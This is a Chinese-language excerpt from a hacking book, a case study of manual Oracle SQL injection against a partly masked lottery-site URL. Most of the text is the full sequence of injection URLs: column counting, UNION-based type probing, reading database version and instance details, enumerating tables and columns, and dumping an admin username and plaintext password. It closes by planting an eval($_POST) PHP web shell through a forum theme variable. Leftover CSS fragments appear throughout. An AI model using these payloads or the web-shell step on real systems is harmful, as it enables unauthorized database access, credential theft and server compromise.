摘自:<大中型网络入侵要案直击与防御>电子工业出版社授权红黑联盟 www.2cto.com 发布
字段数目与字段类型检测
先检测注入点处查询字段数目,提交:
http://www.****china.com/jst/md_end.jsp?id=76 order by 10 //返回错误页面
http://www.****china.com/jst/md_end.jsp?id=76 order by 5 //返回正常页面
http://www.****china.com/jst/md_end.jsp?id=76 order by 8 //返回错误页面
http://www.****china.com/jst/md_end.jsp?id=76 order by 7 //返回正常页面
说明当前表存在7个字段。下面再来检测字段类型,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual
返回错误信息,提示(图2):
expression must have same datatype
图2 数据类型错误
rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">很显然,提交的字段类型不正确,所以查询出错。于是改为提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual
返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual //返回正常页面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual //返回错误页面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual //返回正常页面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual //返回正常页面
……
上面的查询中,用null字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。
提交检测完毕后,确认1,3,4,6,7位置处为字符型。提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual
返回正常页面(图3),说明字段类型正确。
图3 确认数据类型
检测注入点信息
对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT (USERENV, CURRENT_USER) from dual), (select member from v$logfile where rownum=1),5,6, (select instance_name from v$instance) from dual
从返回页面中得到各种信息(图4):
数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;
前数据库连接用户名为TOTO;
操作系统平台为Linux;
服务器sid为racdb2。
图4 返回注入点各种信息rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">
查询获取表名
先来查询一下当前数据库中的表名,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),5,6,7 from dual
图5
这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>ACCOUNTS),5,6,7 from dual
注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>ACCOUNTS and table_name<>A_USER),5,6,7 from dual
得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG。
rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">查询获取字段名及内容
选择对USERMG表进行查询,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=USERMG and rownum=1),5,6,7 from dual
返回USERMG表中第一个字段名USER_NAME,再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=USERMG and column_name<>USER_NAME and rownum=1),5,6,7 from dual
图6 返回表中字段名
返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,3,USER_PASS,5,6,7 from USERMG
返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。
图7 获得管理员帐号数据rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">
登陆后台上传WebShell
没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩 论坛 ,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。
在"论坛管理"→"界面风格"→"默认风格"→"详情"中,点击"新增变量",将变量内容设置为:
, #999);eval($_POST[c]);
图8 添
查看更多关于案例参考:手工Oracle注入某足彩在线网站 - 网站的详细内容...